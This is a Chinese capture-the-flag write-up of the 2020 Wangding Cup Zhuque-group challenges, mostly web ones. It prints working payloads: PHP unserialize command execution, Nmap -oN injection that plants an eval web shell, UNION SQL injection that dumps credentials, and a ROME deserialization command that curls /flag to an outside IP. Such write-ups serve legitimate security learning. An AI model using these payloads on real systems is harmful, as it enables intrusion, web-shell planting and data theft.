2020网鼎杯朱雀组部分Web题wp

 

前言

记录下网鼎杯第三场朱雀组的wp,主要是web。

 

Misc

签到

日常做游戏得到flag

九宫格

打开压缩包 ,得到了好多的二维码

利用工具批量解码:

Y4wAzR.png

发现结果都是0或者1

010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001

猜测是二进制 八位一组转字符串

aa = '010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001'

res=''
for i in range(0,len(aa),8):
    # print aa[i:i+8]
    res += chr(int(aa[i:i+8],2))

print res

结果为:
U2FsdGVkX19jThxWqKmYTZP1X4AfuFJ/7FlqIF1KHQTR5S63zOkyoX36nZlaOq4X4klwRwqa

百度一下,发现可是能rabbit加密

根据提示得到密钥为245568

Y402jI.png

key

修改图片的高度,得到一串神奇的字符串:

Y4aXDK.png

295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656

不知道有什么用。。。 后来听说是 差分曼彻斯特编码

Y422vD.png

得到密码:Sakura_Love_Strawberry

另一个图片 foremost得到一个压缩包。。

解压就可以得到flag了。。。

 

web

webphp

打开页面发现:

Y2uTyV.png

发现没有什么东西,就是一个时间获取的界面。。

进行抓包,发现了 可以参数:

YhOBmq.png

感觉是php代码执行…

尝试发现存在waf,过滤了好多危险函数:

exec,shell_exec,system,phpinfo,eval,assert 等等

方法一

忽然发现能够读到源码file_get_contents

YhO4n1.png

index.php

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

发现存在一个很强的黑名单,基本上过滤了已知的危险函数。。。

但是这个class有点意思:

function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }


    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }

没有对参数进行验证,可以进行绕过,

本地测试:

<?php 

function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}

class Test {
    var $p = "ls";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}


$a = new Test();

echo serialize($a);
 ?>

测试发现可以执行命令:

YhXgVP.png

得到flag:

payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

YhjAPO.png

方法二

命名空间绕过黑名单:

YhjcQJ.png

最终payload:func=system&p=cat $(find / -name flag*)

YhjOeI.png

Nmap

打开页面,发现是一个nmap扫描器:

YhvSfS.png

尝试之后发现能够进行一些扫描并记录扫描结果。。

nmap的一些参数的用法参考文章

尝试对扫描结果进行指定文件保存,

输入' -oN aa.txt ',让后访问/aa.txt

# Nmap 6.47 scan initiated Mon May 18 15:58:14 2020 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/05cc1 -oN aa.txt   \

于是猜测是否可以写一个木马文件上去,测试发现过滤了php字符串

可以上传<?=eval($_POST[a]);?> 文件名为phtml

payload:' -oN b.phtml <?=eval($_POST[a]);?>'

用蚁剑进行连接,在根目录得到flag

Y4psKg.png

Think_Java

发现给出了一定的源码,打开网站发现是这样的:

Y4Pl80.png

反编译得到网站的部分源码:

主要代码:

test.java

package cn.abc.core.controller;

import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {

   @PostMapping({"/sqlDict"})
   @Access
   @ApiOperation("为了开发方便对应数据库字典查询")
   public ResponseResult sqlDict(String dbName) throws IOException {
      List tables = SqlDict.getTableData(dbName, "root", "abc@12345");
      return ResponseResult.e(ResponseCode.OK, tables);
   }
}

sql.java

package cn.abc.core.sqldict;

import cn.abc.core.sqldict.Row;
import cn.abc.core.sqldict.Table;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

public class SqlDict {

   public static Connection getConnection(String dbName, String user, String pass) {
      Connection conn = null;

      try {
         Class.forName("com.mysql.jdbc.Driver");
         if(dbName != null && !dbName.equals("")) {
            dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
         } else {
            dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
         }

         if(user == null || dbName.equals("")) {
            user = "root";
         }

         if(pass == null || dbName.equals("")) {
            pass = "abc@12345";
         }

         conn = DriverManager.getConnection(dbName, user, pass);
      } catch (ClassNotFoundException var5) {
         var5.printStackTrace();
      } catch (SQLException var6) {
         var6.printStackTrace();
      }

      return conn;
   }

   public static List getTableData(String dbName, String user, String pass) {
      ArrayList Tables = new ArrayList();
      Connection conn = getConnection(dbName, user, pass);
      String TableName = "";

      try {
         Statement var16 = conn.createStatement();
         DatabaseMetaData metaData = conn.getMetaData();
         ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"});

         while(tableNames.next()) {
            TableName = tableNames.getString(3);
            Table table = new Table();
            String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
            ResultSet rs = var16.executeQuery(sql);

            while(rs.next()) {
               table.setTableDescribe(rs.getString("TABLE_COMMENT"));
            }

            table.setTableName(TableName);
            ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
            ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);

            String PK;
            for(PK = ""; rs2.next(); PK = rs2.getString(4)) {
               ;
            }

            while(data.next()) {
               Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1")?"YES":"NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK)?"true":null, data.getString("COLUMN_SIZE"));
               table.list.add(row);
            }

            Tables.add(table);
         }
      } catch (SQLException var161) {
         var161.printStackTrace();
      }

      return Tables;
   }
}

阅读完代码之后,发现可能存在sql注入:

test.class中发现,存在路由:/common/test/sqlDict

dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;

查看了jdbc的参考文档 参考资料

发现这个dbName可以传递参数。。dbName后面加上?后面可以加任意参数,也不会影响正常的数据库连接。。

这个sql语句 是利用单引号进行拼接:

String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";

这里可以是一个注入点:dbName=myapp?a=1' union select user()--+

Y4MeSg.png

发现存在回显:

爆表dbName=myapp?a=1' union SELECT group_concat(table_name) from information_schema.tables where table_schema=database()--+

Y4MsfO.png

爆字段名dbName=myapp?a=1' union SELECT group_concat(id,name,pwd) from information_schema.columns where table_name='user'--+

Y4QijJ.png

爆数据dbName=myapp?a=1' union SELECT group_concat(id,name,pwd) from user--+

Y4QZAx.png

得到了一组账号密码:admin:admin@Rrrr_ctf_asde

没有找到想象中的flag。。。

扫目录发现存在swagger-ui.html文件:

Y4JTVH.png

存在其他的功能测试。

有登陆功能,利用刚才爆破得到的账号密码进行登陆:

Y4YkR0.png

得到了一个token

Bearer Token(Token 令牌)

定义:为了验证使用者的身份,需要客户端向服务器端提供一个可靠的验证信息,称为Token,这个token通常由Json数据格式组成,通过hash散列算法生成一个字符串,所以称为Json Web Token(Json表示令牌的原始值是一个Json格式的数据,web表示是在互联网传播的,token表示令牌,简称JWT)

在获取当前用户信息的那里需要输入token,应该是利用这个。。

Y4Y7OU.png

做到这里我就没什么思路了,一个大师傅告诉我,是java反序列化。。。

Bearer 属于jwt的一种,也就是说加密的字符是json数据通过base64加密后得到的。可以测试一下java的反序列化漏洞

用到的工具:Burp Suite的扩展 Java-Deserialization-Scanner安装链接

发现ROME可以成功:

Y4t2jK.png

输入 ROME "curl -d@/flag 174.1.96.95:5555" 点击attack,

Y4NC3q.png

在服务器监听9999端口 就能接收到flag了

Y4NMgx.png

 

总结

尝试了java反序列化的操作,虽然是利用工具,以后要认真学习一下。。

加油

 

参考链接

nmap的操作

jdbc参考资料

Java-Deserialization-Scanner安装链接

(完)